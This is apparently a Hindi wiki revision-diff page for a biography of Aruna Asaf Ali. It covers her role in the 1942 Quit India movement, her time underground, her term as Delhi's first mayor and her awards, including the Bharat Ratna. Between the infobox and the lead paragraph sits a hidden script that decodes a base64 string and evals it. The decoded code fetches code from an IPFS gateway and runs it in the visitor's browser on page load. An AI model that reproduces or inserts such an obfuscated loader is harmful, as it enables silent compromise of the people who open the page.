"अरुणा आसफ़ अली" के अवतरणों में अंतर

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[[भारत]] के स्वतंत्रता आंदोलन में अग्रणी भूमिका निभाने वाली क्रांतिकारी, जुझारू नेता श्रीमती अरुणा असिफ़ अली का नाम इतिहास में नामित है। श्रीमती अरुणा असिफ़ अली ने सन [[1942]] ई. के ‘अंग्रेजों भारत छोड़ो’ आंदोलन में महत्त्वपूर्ण योगदान को विस्मृत नहीं किया जा सकता। देश को आज़ाद कराने के लिए अरुणा जी निरंतर वर्षों अंग्रेजों से संघर्ष करती रही थीं।
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==जन्म==
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|चित्र का नाम=अरुणा आसफ़ अली
अरुणा जी का जन्म बंगाली परिवार में [ [16 जुलाई]] सन [[1909]] ई. में हुआ था। इनका परिवार जाति से [[ब्राह्मण]] था। इनका नाम 'अरुणा गांगुली' था। अरुणा जी ने स्कूली शिक्षा [[नैनीताल]] में प्राप्त की थी। यह बहुत ही कुशाग्र बुद्धि और पढ़ाई लिखाई में बहुत चतुर थीं। बाल्यकाल से ही कक्षा में सर्वोच्च स्थान पाती थीं। बचपन में ही उन्होंने अपनी बुद्धिमत्ता और चतुरता की धाक जमा दी थी।
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|अन्य नाम=अरुणा गांगुली
अरुणा जी ने सन [[1928]] ई. में अपना अंतर्जातीय प्रेम विवाह सुविख्यात वकील आसिफ़ अली से कर लिया था। उनके पिता इस अंतर्जातीय विवाह के विरुद्ध थे और मुस्लिम युवक आसिफ़ अली के साथ अपनी बेटी की शादी किसी भी क़ीमत पर करने को राज़ी नहीं थे। अरुणा जी स्वतंत्र विचारों की और स्वतः निर्णय लेने वाली युवती थीं। उन्होंने माता-पिता के विरोध के बाद भी स्वेच्छा से शादी कर ली। विवाह के बाद वह पति के पास आ गईं, और पति के साथ प्रेमपूर्वक रहने लगीं।
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|मृत्यु स्थान=
श्रीमती अरुणा असिफ़ अली सन [[1930]] ई. में [[सविनय अवज्ञा आंदोलन]] में पहली बार गिरफ्तार होकर जेल गईं। अरुणा जी सन [[1932]] ई. और सन [[1941]] ई. में भी अंग्रेजी सरकार द्वारा गिरफ्तार कर जेल भेजी गई थीं। अंग्रेजी सरकार उनसे बहुत परेशान थी, क्योंकि उनकी गणना खतरनाक क्रांतिकारियों में होती थी। ब्रिटिश सरकार उन्हें जेल में बंद रखना चाहती थी।
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|अभिभावक=
==भूमिगत जीवन==
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सन [[1942]] ई. [[बंबई]] के 'ग्वालिया टैंक मैदान' में प्रशासन को चुनौती देकर अरुणा असिफ़ अली ने निर्भीक होकर साहसपूर्वक तिरंगा झंडा फहराया और तुरंत बाद वे भूमिगत हो गई थीं। ब्रिटिश सरकार पता लगाते-लगाते परेशान होती रही पर श्रीमती अरुणा असिफ़ अली उनके हाथ नहीं लगीं।
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|संतान=
==कांग्रेस कमेटी की निर्वाचित अध्यक्ष==
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|गुरु=
दो वर्ष के अंतराल के बाद सन [[1946]] ई. में वह भूमिगत जीवन से बाहर आ गईं। भूमिगत जीवन से बाहर आने के बाद  सन [[1947]] ई. में श्रीमती अरुणा असिफ़ अली [[दिल्ली]] प्रदेश कांग्रेस कमेटी की अध्यक्षा निर्वाचित की गईं। दिल्ली में कांग्रेस संगठन को इन्होंने सुदृढ़ किया।
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|कर्म भूमि=[[भारत]]
==कांग्रेस से सोशलिस्ट पार्टी में==
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|कर्म-क्षेत्र=स्वतंत्रता सेनानी, शिक्षक
सन [[1948]] ई. में श्रीमती अरुणा असिफ़ अली 'सोशलिस्ट पार्टी' में सम्मिलित हुयीं और दो साल बाद सन [[1950]] ई. में उन्होंने अलग से ‘लेफ्ट स्पेशलिस्ट पार्टी’ बनाई और वे सक्रिय होकर 'मजदूर-आंदोलन' में जी जान से जुट गईं। अंत में सन [[1955]] ई. में इस पार्टी का 'भारतीय कम्यनिस्ट पार्टी' में विलय हो गया।
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|मुख्य रचनाएँ=
==भाकपा में==
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|विषय=
श्रीमती अरुणा असिफ़ अली भाकपा की केंद्रीय समिति की सदस्या और ‘ऑल इंडिया ट्रेड यूनियन कांग्रेस’ की उपाध्यक्षा बनाई गई थीं। सन [[1958]] ई. में उन्होंने 'मार्क्सवादी कम्युनिस्ट पार्टी' भी छोड़ दी। सन [[1964]] ई. में [[पं. जवाहरलाल नेहरू]] के निधन के पश्चात वे पुनः 'कांग्रेस पार्टी' से जुड़ीं, किंतु अधिक सक्रिय नहीं रहीं।
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|खोज=
==दिल्ली नगर निगम की प्रथम महापौर==
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|भाषा=[[हिन्दी]], [[अंग्रेज़ी]]
श्रीमती अरुणा असिफ़ अली सन 1958 ई. में 'दिल्ली नगर निगम' की प्रथम महापौर (Mayor) चुनी गईं। मेयर बनकर  उन्होंने [[दिल्ली]] के विकास, सफाई, और स्वास्थ्य आदि के लिए बहुत अच्छा कार्य किया और नगर निगम की कार्य प्रणाली में भी उन्होंने यथेष्ट सुधार किए।
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|शिक्षा=
==संगठनों से सम्बंध==
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|विद्यालय=
श्रीमती अरुणा असिफ़ अली ‘इंडोसोवियत कल्चरल सोसाइटी’, ‘ऑल इंडिया पीस काउंसिल’, तथा ‘नेशनल फैडरेशन ऑफ इंडियन वूमैन’, आदि संस्थाओं के लिए उन्होंने बड़ी लगन, निष्ठा, ईमानदारी और सक्रियता से कार्य किया।
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|पुरस्कार-उपाधि='लेनिन शांति पुरस्कार' ([[1964]]), 'जवाहरलाल नेहरू अंतर्राष्ट्रीय सद्भावना पुरस्कार' ([[1991]]), '[[पद्म विभूषण]]' ([[1992]]), ‘[[इंदिरा गांधी राष्ट्रीय एकता पुरस्कार|इंदिरा गांधी पुरस्कार]]’, '[[भारत रत्न]]' ([[1997]])
==पुरस्कार==
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|प्रसिद्धि=
श्रीमती अरुणा आसफअली को सन [[1964]] में  ‘लेनिन शांति पुरस्कार’, सन [[1991]] में 'जवाहरलाल नेहरू अंतर्राष्ट्रीय सद्भावना पुरस्कार', [[1992]] में 'पद्म विभूषण'  और ‘इंदिरा गांधी अवार्ड’ (राष्ट्रीय एकता के लिए) से सम्मानित किया गया था।
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|विशेष योगदान=[[1942]] ई. के ‘[[भारत छोड़ो आन्दोलन|अंग्रेज़ों भारत छोड़ो]]’ आंदोलन में विशेष योगदान था।
==भारत रत्न==  
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|नागरिकता=भारतीय
[[1997]] में उन्हें मरणोपरांत भारत के 'सर्वोच्च नागरिक सम्मान' [[भारत रत्न]] से सम्मानित किया गया।
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|संबंधित लेख=
==डाक टिकट==
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|शीर्षक 1=
[[1998]] में उन पर एक डाक है। टिकट जारी किया गया। उनके सम्मान में नई दिल्ली की एक सड़क का नाम उनके नाम पर 'अरुणा आसिफ अली मार्ग' रखा गया 
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==आठवें दशक में==
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|शीर्षक 2=
अरुणा आसफ अली की  अपनी विशिष्ट जीवनशैली थी। उम्र के आठवें दशक में भी वह सार्वजनिक परिवहन से सफर करती थीं। कहा जाता है कि एक बार अरुणा जी दिल्ली में यात्रियों से भरी बस में सवार थीं। कोई भी जगह बैठने के लिए खाली न थी। उसी बस में आधुनिक जीवन शैली की एक युवा महिला भी सवार थी। एक व्यक्ति ने युवा महिला के लिए अपनी जगह उसे दे दी और उस युवा महिला ने शिष्टाचार के कारण अपनी सीट अरुणा जी को दे दी। ऐसा करने पर वह व्यक्ति बुरा मान गया और युवा महिला से बोला - 'यह सीट तो मैंने आपके लिए खाली की थी बहन।' इसके उत्तर में अरुणा आसफ अली तुरंत बोलीं - 'बेटा! माँ को कभी न भूलना, क्योंकि माँ का अधिकार बहन से पहले होता है।'  यह सुनकर वह व्यक्ति बहुत शर्मिंदा हुआ और उसने अरुणा जी से माफ़ी मांगी।
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==समाचारपत्र पेट्रियट==
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दिल्ली से प्रकाशित वामपंथी अंग्रेजी दैनिक समाचार पत्र ‘पेट्रियट’ से वे जीवनपर्यंत कर्मठता से जुड़ी रहीं।
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'''अरुणा आसफ़ अली''' ([[अंग्रेज़ी]]:'' Aruna Asaf Ali'', जन्म- [[16 जुलाई]], [[1909]]; मृत्यु- [[29 जुलाई]], [[1996]]) का नाम [[भारत]] के [[स्वतंत्रता आंदोलन|स्वतंत्रता आन्दोलन]] में विशेष रूप से प्रसिद्ध है। इन्होंने भारत को आज़ादी दिलाने के लिए कई उल्लेखनीय कार्य किये थे। भारत के स्वतंत्रता आंदोलन में अग्रणी भूमिका निभाने वाली क्रांतिकारी, जुझारू नेता श्रीमती अरुणा आसफ़ अली का नाम [[इतिहास]] में दर्ज है। अरुणा आसफ़ अली ने सन [[1942]] ई. के ‘[[भारत छोड़ो आंदोलन|अंग्रेज़ों भारत छोड़ो]]’ आंदोलन में महत्त्वपूर्ण योगदान को विस्मृत नहीं किया जा सकता। देश को आज़ाद कराने के लिए अरुणा जी निरंतर वर्षों [[अंग्रेज़|अंग्रेज़ों]] से संघर्ष करती रही थीं।
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==जीवन परिचय==
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अरुणा जी का जन्म [[बंगाली भाषा|बंगाली]] [[परिवार]] में [[16 जुलाई]] सन [[1909]] ई. को [[हरियाणा]], तत्कालीन [[पंजाब]] के 'कालका' नामक स्थान में हुआ था। इनका परिवार जाति से [[ब्राह्मण]] था। इनका नाम 'अरुणा गांगुली' था। अरुणा जी ने स्कूली शिक्षा [[नैनीताल]] में प्राप्त की थी। नैनीताल में इनके पिता का होटल था। यह बहुत ही कुशाग्र बुद्धि और पढ़ाई लिखाई में बहुत चतुर थीं। बाल्यकाल से ही कक्षा में सर्वोच्च स्थान पाती थीं। बचपन में ही उन्होंने अपनी बुद्धिमत्ता और चतुरता की धाक जमा दी थी। [[लाहौर]] और नैनीताल से पढ़ाई पूरी करने के बाद वह शिक्षिका बन गई और [[कोलकाता]] के 'गोखले मेमोरियल कॉलेज' में अध्यापन कार्य करने लगीं।<ref>{{cite web |url=http://hindi.webdunia.com/miscellaneous/literature/remembrance/0907/16/1090716026_1.htm|title=अरुणा आसफ़ अली : दिल्ली की पहली महापौर|accessmonthday=6 अप्रॅल|accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल|publisher=वेब दुनिया|language=हिन्दी}}</ref>
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====विवाह====
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अरुणा जी ने 19 वर्ष की आयु में सन [[1928]] ई. में अपना अंतर्जातीय प्रेम विवाह [[दिल्ली]] के सुविख्यात वकील और [[कांग्रेस]] के नेता [[आसफ़ अली]] से कर लिया। आसफ़ अली अरुणा से आयु में 20 वर्ष बड़े थे। उनके [[पिता]] इस अंतर्जातीय विवाह के विरुद्ध थे और मुस्लिम युवक आसफ़ अली के साथ अपनी बेटी की शादी किसी भी क़ीमत पर करने को राज़ी नहीं थे। अरुणा जी स्वतंत्र विचारों की और स्वतः निर्णय लेने वाली युवती थीं। उन्होंने माता-पिता के विरोध के बाद भी स्वेच्छा से शादी कर ली। विवाह के बाद वह पति के पास आ गईं, और पति के साथ प्रेमपूर्वक रहने लगीं। इस विवाह ने अरुणा के जीवन की दिशा बदल दी। वे राजनीति में रुचि लेने लगीं। वे राष्ट्रीय आन्दोलन में सम्मिलित हो गईं।
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==राजनीतिक और सामाजिक जीवन==
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परतंत्रता में [[भारत]] की दुर्दशा और अंग्रेज़ों के अत्याचार देखकर विवाह के उपरांत श्रीमती अरुणा आसफ़ अली स्वतंत्रता-संग्राम में सक्रिय भाग लेने लगीं। उन्होंने [[महात्मा गांधी]] और [[अबुलकलाम आज़ाद|मौलाना अबुल क़लाम आज़ाद]] की सभाओं में भाग लेना प्रारम्भ कर दिया। वह इन दोनों नेताओं के संपर्क में आईं और उनके साथ कर्मठता, से राजनीति में भाग लेने लगीं, वे फिर [[जयप्रकाश नारायण|लोकनायक जयप्रकाश नारायण]], [[राम मनोहर लोहिया|राम मनोहर लोहिया]] और अच्युत पटवर्द्धन के साथ कांग्रेस 'सोशलिस्ट पार्टी' से संबद्ध हो गईं।
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====जेल यात्रा====
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अरुणा जी ने [[1930]], [[1932]] और [[1941]] के [[व्यक्तिगत सत्याग्रह]] के समय जेल की सज़ाएँ भोगीं। उनके ऊपर [[जयप्रकाश नारायण]], [[डॉ. राम मनोहर लोहिया]], अच्युत पटवर्धन जैसे समाजवादियों के विचारों का अधिक प्रभाव पड़ा। इसी कारण [[1942]] ई. के ‘[[भारत छोड़ो आन्दोलन]]’ में अरुणा जी ने अंग्रेज़ों की जेल में बन्द होने के बदले भूमिगत रहकर अपने अन्य साथियों के साथ आन्दोलन का नेतृत्व करना उचित समझा। [[गांधी जी]] आदि नेताओं की गिरफ्तारी के तुरन्त बाद [[मुम्बई]] में विरोध सभा आयोजित करके विदेशी सरकार को खुली चुनौती देने वाली वे प्रमुख महिला थीं। फिर गुप्त रूप से उन कांग्रेसजनों का पथ-प्रदर्शन किया, जो जेल से बाहर रह सके थे। मुम्बई, [[कोलकाता]], दिल्ली आदि में घूम-घूमकर, पर पुलिस की पकड़ से बचकर लोगों में नव जागृति लाने का प्रयत्न किया। लेकिन [[1942]] से [[1946]] तक देश भर में सक्रिय रहकर भी वे पुलिस की पकड़ में नहीं आईं। [[1946]] में जब उनके नाम का वारंट रद्द हुआ, तभी वे प्रकट हुईं। सारी सम्पत्ति जब्त करने पर भी उन्होंने आत्मसमर्पण नहीं किया।
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====कांग्रेस कमेटी की निर्वाचित अध्यक्ष====
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दो [[वर्ष]] के अंतराल के बाद सन् [[1946]] ई. में वह भूमिगत जीवन से बाहर आ गईं। भूमिगत जीवन से बाहर आने के बाद  सन् [[1947]] ई. में श्रीमती अरुणा आसफ़ अली [[दिल्ली]] प्रदेश कांग्रेस कमेटी की अध्यक्षा निर्वाचित की गईं। दिल्ली में कांग्रेस संगठन को इन्होंने सुदृढ़ किया।
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====कांग्रेस से सोशलिस्ट पार्टी में====
 +
सन [[1948]] ई. में श्रीमती अरुणा आसफ़ अली 'सोशलिस्ट पार्टी' में सम्मिलित हुयीं और दो साल बाद सन् [[1950]] ई. में उन्होंने अलग से ‘लेफ्ट स्पेशलिस्ट पार्टी’ बनाई और वे सक्रिय होकर 'मज़दूर-आंदोलन' में जी जान से जुट गईं। अंत में सन [[1955]] ई. में इस पार्टी का 'भारतीय कम्यनिस्ट पार्टी' में विलय हो गया।
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====भाकपा में====
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श्रीमती अरुणा आसफ़ अली [[भाकपा]] की केंद्रीय समिति की सदस्या और ‘ऑल इंडिया ट्रेड यूनियन कांग्रेस’ की उपाध्यक्षा बनाई गई थीं। सन् [[1958]] ई. में उन्होंने '[[मार्क्सवादी कम्युनिस्ट पार्टी]]' भी छोड़ दी। सन् [[1964]] ई. में [[जवाहरलाल नेहरू|पं. जवाहरलाल नेहरू]] के निधन के पश्चात् वे पुनः 'कांग्रेस पार्टी' से जुड़ीं, किंतु अधिक सक्रिय नहीं रहीं।
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====दिल्ली नगर निगम की प्रथम महापौर====
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श्रीमती अरुणा आसफ़ अली सन् 1958 ई. में 'दिल्ली नगर निगम' की प्रथम महापौर चुनी गईं। मेयर बनकर  उन्होंने [[दिल्ली]] के विकास, सफाई, और स्वास्थ्य आदि के लिए बहुत अच्छा कार्य किया और नगर निगम की कार्य प्रणाली में भी उन्होंने यथेष्ट सुधार किए।
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====संगठनों से सम्बंध====
 +
श्रीमती अरुणा आसफ़ अली ‘इंडोसोवियत कल्चरल सोसाइटी’, ‘ऑल इंडिया पीस काउंसिल’, तथा ‘नेशनल फैडरेशन ऑफ इंडियन वूमैन’, आदि संस्थाओं के लिए उन्होंने बड़ी लगन, निष्ठा, ईमानदारी और सक्रियता से कार्य किया। [[दिल्ली]] से प्रकाशित वामपंथी अंग्रेज़ी दैनिक [[समाचार पत्र]] ‘पेट्रियट’ से वे जीवनपर्यंत कर्मठता से जुड़ी रहीं।
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==सम्मान और पुरस्कार==
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श्रीमती अरुणा आसफ़ अली को सन् [[1964]] में ‘लेनिन शांति पुरस्कार’, सन् [[1991]] में 'जवाहरलाल नेहरू अंतर्राष्ट्रीय सद्भावना पुरस्कार', [[1992]] में '[[पद्म विभूषण]]'  और ‘[[इंदिरा गांधी राष्ट्रीय एकता पुरस्कार|इंदिरा गांधी पुरस्कार]]’ (राष्ट्रीय एकता के लिए) से सम्मानित किया गया था। [[1997]] में उन्हें मरणोपरांत [[भारत]] के 'सर्वोच्च नागरिक सम्मान' [[भारत रत्न]] से सम्मानित किया गया। [[1998]] में उन पर एक [[डाक टिकट]] जारी किया गया। उनके सम्मान में [[नई दिल्ली]] की एक सड़क का नाम उनके नाम पर 'अरुणा आसफ़ अली मार्ग' रखा गया।
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==एक संस्मरण==
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अरुणा आसफ़ अली की अपनी विशिष्ट जीवनशैली थी। उम्र के आठवें दशक में भी वह सार्वजनिक परिवहन से सफर करती थीं। कहा जाता है कि एक बार अरुणा जी [[दिल्ली]] में यात्रियों से भरी बस में सवार थीं। कोई भी जगह बैठने के लिए ख़ाली न थी। उसी बस में आधुनिक जीवन शैली की एक युवा महिला भी सवार थी। एक व्यक्ति ने युवा महिला के लिए अपनी जगह उसे दे दी और उस युवा महिला ने शिष्टाचार के कारण अपनी सीट अरुणा जी को दे दी। ऐसा करने पर वह व्यक्ति बुरा मान गया और युवा महिला से बोला - 'यह सीट तो मैंने आपके लिए ख़ाली की थी बहन।' इसके उत्तर में अरुणा आसफ़ अली तुरंत बोलीं - 'बेटा! माँ को कभी न भूलना, क्योंकि माँ का अधिकार बहन से पहले होता है।'  यह सुनकर वह व्यक्ति बहुत शर्मिंदा हुआ और उसने अरुणा जी से माफ़ी मांगी।
 
==निधन==
 
==निधन==
वे वृद्धावस्था में बहुत शांत और गंभीर स्वभाव की हो गई थीं। मैं उनकी आत्मीयता और स्नेह को कभी भुला नहीं सकता। वास्तव में वे महान देशभक्त थीं। वयोवृद्ध स्वतंत्रता सेनानी श्रीमती अरुणा आसफअली 87 वर्ष की आयु में दिनांक [[29 जुलाई]], सन [[1996]] ई. को इस संसार को छोड़कर सदैव के लिए दूर-बहुत दूर चली गईं। उनकी सुकीर्ति आज भी अमर है।
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अरुणा आसफ़ अली वृद्धावस्था में बहुत शांत और गंभीर स्वभाव की हो गई थीं। उनकी आत्मीयता और स्नेह को कभी भुलाया नहीं जा सकता। वास्तव में वे महान् देशभक्त थीं। वयोवृद्ध स्वतंत्रता सेनानी अरुणा आसफ़ अली 87 वर्ष की आयु में दिनांक [[29 जुलाई]], सन् [[1996]] को इस संसार को छोड़कर सदैव के लिए दूर-बहुत दूर चली गईं। उनकी सुकीर्ति आज भी अमर है।
  
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<references/>
 
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==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
*[http://india.gov.in/myindia/bharatratna_awards_list1.php भारत रत्न सम्मानित व्यक्तित्व सूची, भारत सरकार]
 
*[http://india.gov.in/myindia/bharatratna_awards.php भारत रत्न, भारत सरकार]
 
 
*[http://timesofindia.indiatimes.com/articleshow/2714615.cms Those who said no to top awards, Times Of India]  
 
*[http://timesofindia.indiatimes.com/articleshow/2714615.cms Those who said no to top awards, Times Of India]  
*[http://pustak.org/bs/home.php?bookid=4638 भारत की गरिमामयी नारियाँ]
+
*[http://www.dimdima.com/knowledge/build.asp?tit=48&q_title=Aruna+Asaf+Ali  अरुणा आसफ़ अली]
*[http://webvarta.com/ds_detail.php?ds_id=102  अरुणा आसफ अली]
+
*[http://www.guardian.co.uk/world/1996/jul/30/india.guardianobituaries  अरुणा आसफ़ अली]
 +
*[http://www.iccrindia.net/jnawardlist.html भारतीय सांस्कृतिक संबंध परिषद]
 +
*[http://hindi.webdunia.com/miscellaneous/literature/remembrance/0907/16/1090716026_1.htm अरुणा आसफ़ अली : दिल्ली की पहली महापौर]
 
==संबंधित लेख==
 
==संबंधित लेख==
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[[Category:राष्ट्रीय सम्मान एवं पुरस्कार]]
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[[Category:भारतीय चरित कोश]]
 
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[[Category:नया पन्ना]]
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__NOTOC__

13:05, 6 जनवरी 2020 के समय का अवतरण

अरुणा आसफ़ अली
अरुणा आसफ़ अली
पूरा नाम अरुणा आसफ़ अली
अन्य नाम अरुणा गांगुली
जन्म 16 जुलाई, 1909
जन्म भूमि हरियाणा
मृत्यु 29 जुलाई, 1996
पति/पत्नी आसफ़ अली
कर्म भूमि भारत
कर्म-क्षेत्र स्वतंत्रता सेनानी, शिक्षक
भाषा हिन्दी, अंग्रेज़ी
पुरस्कार-उपाधि 'लेनिन शांति पुरस्कार' (1964), 'जवाहरलाल नेहरू अंतर्राष्ट्रीय सद्भावना पुरस्कार' (1991), 'पद्म विभूषण' (1992), ‘इंदिरा गांधी पुरस्कार’, 'भारत रत्न' (1997)
विशेष योगदान 1942 ई. के ‘अंग्रेज़ों भारत छोड़ो’ आंदोलन में विशेष योगदान था।
नागरिकता भारतीय
अन्य जानकारी 1998 में इनके नाम पर एक डाक टिकट जारी किया गया। उनके सम्मान में नई दिल्ली की एक सड़क का नाम 'अरुणा आसफ़ अली मार्ग' रखा गया।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अरुणा आसफ़ अली (अंग्रेज़ी: Aruna Asaf Ali, जन्म- 16 जुलाई, 1909; मृत्यु- 29 जुलाई, 1996) का नाम भारत के स्वतंत्रता आन्दोलन में विशेष रूप से प्रसिद्ध है। इन्होंने भारत को आज़ादी दिलाने के लिए कई उल्लेखनीय कार्य किये थे। भारत के स्वतंत्रता आंदोलन में अग्रणी भूमिका निभाने वाली क्रांतिकारी, जुझारू नेता श्रीमती अरुणा आसफ़ अली का नाम इतिहास में दर्ज है। अरुणा आसफ़ अली ने सन 1942 ई. के ‘अंग्रेज़ों भारत छोड़ो’ आंदोलन में महत्त्वपूर्ण योगदान को विस्मृत नहीं किया जा सकता। देश को आज़ाद कराने के लिए अरुणा जी निरंतर वर्षों अंग्रेज़ों से संघर्ष करती रही थीं।

जीवन परिचय

अरुणा जी का जन्म बंगाली परिवार में 16 जुलाई सन 1909 ई. को हरियाणा, तत्कालीन पंजाब के 'कालका' नामक स्थान में हुआ था। इनका परिवार जाति से ब्राह्मण था। इनका नाम 'अरुणा गांगुली' था। अरुणा जी ने स्कूली शिक्षा नैनीताल में प्राप्त की थी। नैनीताल में इनके पिता का होटल था। यह बहुत ही कुशाग्र बुद्धि और पढ़ाई लिखाई में बहुत चतुर थीं। बाल्यकाल से ही कक्षा में सर्वोच्च स्थान पाती थीं। बचपन में ही उन्होंने अपनी बुद्धिमत्ता और चतुरता की धाक जमा दी थी। लाहौर और नैनीताल से पढ़ाई पूरी करने के बाद वह शिक्षिका बन गई और कोलकाता के 'गोखले मेमोरियल कॉलेज' में अध्यापन कार्य करने लगीं।[1]

विवाह

अरुणा जी ने 19 वर्ष की आयु में सन 1928 ई. में अपना अंतर्जातीय प्रेम विवाह दिल्ली के सुविख्यात वकील और कांग्रेस के नेता आसफ़ अली से कर लिया। आसफ़ अली अरुणा से आयु में 20 वर्ष बड़े थे। उनके पिता इस अंतर्जातीय विवाह के विरुद्ध थे और मुस्लिम युवक आसफ़ अली के साथ अपनी बेटी की शादी किसी भी क़ीमत पर करने को राज़ी नहीं थे। अरुणा जी स्वतंत्र विचारों की और स्वतः निर्णय लेने वाली युवती थीं। उन्होंने माता-पिता के विरोध के बाद भी स्वेच्छा से शादी कर ली। विवाह के बाद वह पति के पास आ गईं, और पति के साथ प्रेमपूर्वक रहने लगीं। इस विवाह ने अरुणा के जीवन की दिशा बदल दी। वे राजनीति में रुचि लेने लगीं। वे राष्ट्रीय आन्दोलन में सम्मिलित हो गईं।

राजनीतिक और सामाजिक जीवन

परतंत्रता में भारत की दुर्दशा और अंग्रेज़ों के अत्याचार देखकर विवाह के उपरांत श्रीमती अरुणा आसफ़ अली स्वतंत्रता-संग्राम में सक्रिय भाग लेने लगीं। उन्होंने महात्मा गांधी और मौलाना अबुल क़लाम आज़ाद की सभाओं में भाग लेना प्रारम्भ कर दिया। वह इन दोनों नेताओं के संपर्क में आईं और उनके साथ कर्मठता, से राजनीति में भाग लेने लगीं, वे फिर लोकनायक जयप्रकाश नारायण, राम मनोहर लोहिया और अच्युत पटवर्द्धन के साथ कांग्रेस 'सोशलिस्ट पार्टी' से संबद्ध हो गईं।

जेल यात्रा

अरुणा जी ने 1930, 1932 और 1941 के व्यक्तिगत सत्याग्रह के समय जेल की सज़ाएँ भोगीं। उनके ऊपर जयप्रकाश नारायण, डॉ. राम मनोहर लोहिया, अच्युत पटवर्धन जैसे समाजवादियों के विचारों का अधिक प्रभाव पड़ा। इसी कारण 1942 ई. के ‘भारत छोड़ो आन्दोलन’ में अरुणा जी ने अंग्रेज़ों की जेल में बन्द होने के बदले भूमिगत रहकर अपने अन्य साथियों के साथ आन्दोलन का नेतृत्व करना उचित समझा। गांधी जी आदि नेताओं की गिरफ्तारी के तुरन्त बाद मुम्बई में विरोध सभा आयोजित करके विदेशी सरकार को खुली चुनौती देने वाली वे प्रमुख महिला थीं। फिर गुप्त रूप से उन कांग्रेसजनों का पथ-प्रदर्शन किया, जो जेल से बाहर रह सके थे। मुम्बई, कोलकाता, दिल्ली आदि में घूम-घूमकर, पर पुलिस की पकड़ से बचकर लोगों में नव जागृति लाने का प्रयत्न किया। लेकिन 1942 से 1946 तक देश भर में सक्रिय रहकर भी वे पुलिस की पकड़ में नहीं आईं। 1946 में जब उनके नाम का वारंट रद्द हुआ, तभी वे प्रकट हुईं। सारी सम्पत्ति जब्त करने पर भी उन्होंने आत्मसमर्पण नहीं किया।

कांग्रेस कमेटी की निर्वाचित अध्यक्ष

दो वर्ष के अंतराल के बाद सन् 1946 ई. में वह भूमिगत जीवन से बाहर आ गईं। भूमिगत जीवन से बाहर आने के बाद सन् 1947 ई. में श्रीमती अरुणा आसफ़ अली दिल्ली प्रदेश कांग्रेस कमेटी की अध्यक्षा निर्वाचित की गईं। दिल्ली में कांग्रेस संगठन को इन्होंने सुदृढ़ किया।

कांग्रेस से सोशलिस्ट पार्टी में

सन 1948 ई. में श्रीमती अरुणा आसफ़ अली 'सोशलिस्ट पार्टी' में सम्मिलित हुयीं और दो साल बाद सन् 1950 ई. में उन्होंने अलग से ‘लेफ्ट स्पेशलिस्ट पार्टी’ बनाई और वे सक्रिय होकर 'मज़दूर-आंदोलन' में जी जान से जुट गईं। अंत में सन 1955 ई. में इस पार्टी का 'भारतीय कम्यनिस्ट पार्टी' में विलय हो गया।

भाकपा में

श्रीमती अरुणा आसफ़ अली भाकपा की केंद्रीय समिति की सदस्या और ‘ऑल इंडिया ट्रेड यूनियन कांग्रेस’ की उपाध्यक्षा बनाई गई थीं। सन् 1958 ई. में उन्होंने 'मार्क्सवादी कम्युनिस्ट पार्टी' भी छोड़ दी। सन् 1964 ई. में पं. जवाहरलाल नेहरू के निधन के पश्चात् वे पुनः 'कांग्रेस पार्टी' से जुड़ीं, किंतु अधिक सक्रिय नहीं रहीं।

दिल्ली नगर निगम की प्रथम महापौर

श्रीमती अरुणा आसफ़ अली सन् 1958 ई. में 'दिल्ली नगर निगम' की प्रथम महापौर चुनी गईं। मेयर बनकर उन्होंने दिल्ली के विकास, सफाई, और स्वास्थ्य आदि के लिए बहुत अच्छा कार्य किया और नगर निगम की कार्य प्रणाली में भी उन्होंने यथेष्ट सुधार किए।

संगठनों से सम्बंध

श्रीमती अरुणा आसफ़ अली ‘इंडोसोवियत कल्चरल सोसाइटी’, ‘ऑल इंडिया पीस काउंसिल’, तथा ‘नेशनल फैडरेशन ऑफ इंडियन वूमैन’, आदि संस्थाओं के लिए उन्होंने बड़ी लगन, निष्ठा, ईमानदारी और सक्रियता से कार्य किया। दिल्ली से प्रकाशित वामपंथी अंग्रेज़ी दैनिक समाचार पत्र ‘पेट्रियट’ से वे जीवनपर्यंत कर्मठता से जुड़ी रहीं।

सम्मान और पुरस्कार

श्रीमती अरुणा आसफ़ अली को सन् 1964 में ‘लेनिन शांति पुरस्कार’, सन् 1991 में 'जवाहरलाल नेहरू अंतर्राष्ट्रीय सद्भावना पुरस्कार', 1992 में 'पद्म विभूषण' और ‘इंदिरा गांधी पुरस्कार’ (राष्ट्रीय एकता के लिए) से सम्मानित किया गया था। 1997 में उन्हें मरणोपरांत भारत के 'सर्वोच्च नागरिक सम्मान' भारत रत्न से सम्मानित किया गया। 1998 में उन पर एक डाक टिकट जारी किया गया। उनके सम्मान में नई दिल्ली की एक सड़क का नाम उनके नाम पर 'अरुणा आसफ़ अली मार्ग' रखा गया।

एक संस्मरण

अरुणा आसफ़ अली की अपनी विशिष्ट जीवनशैली थी। उम्र के आठवें दशक में भी वह सार्वजनिक परिवहन से सफर करती थीं। कहा जाता है कि एक बार अरुणा जी दिल्ली में यात्रियों से भरी बस में सवार थीं। कोई भी जगह बैठने के लिए ख़ाली न थी। उसी बस में आधुनिक जीवन शैली की एक युवा महिला भी सवार थी। एक व्यक्ति ने युवा महिला के लिए अपनी जगह उसे दे दी और उस युवा महिला ने शिष्टाचार के कारण अपनी सीट अरुणा जी को दे दी। ऐसा करने पर वह व्यक्ति बुरा मान गया और युवा महिला से बोला - 'यह सीट तो मैंने आपके लिए ख़ाली की थी बहन।' इसके उत्तर में अरुणा आसफ़ अली तुरंत बोलीं - 'बेटा! माँ को कभी न भूलना, क्योंकि माँ का अधिकार बहन से पहले होता है।' यह सुनकर वह व्यक्ति बहुत शर्मिंदा हुआ और उसने अरुणा जी से माफ़ी मांगी।

निधन

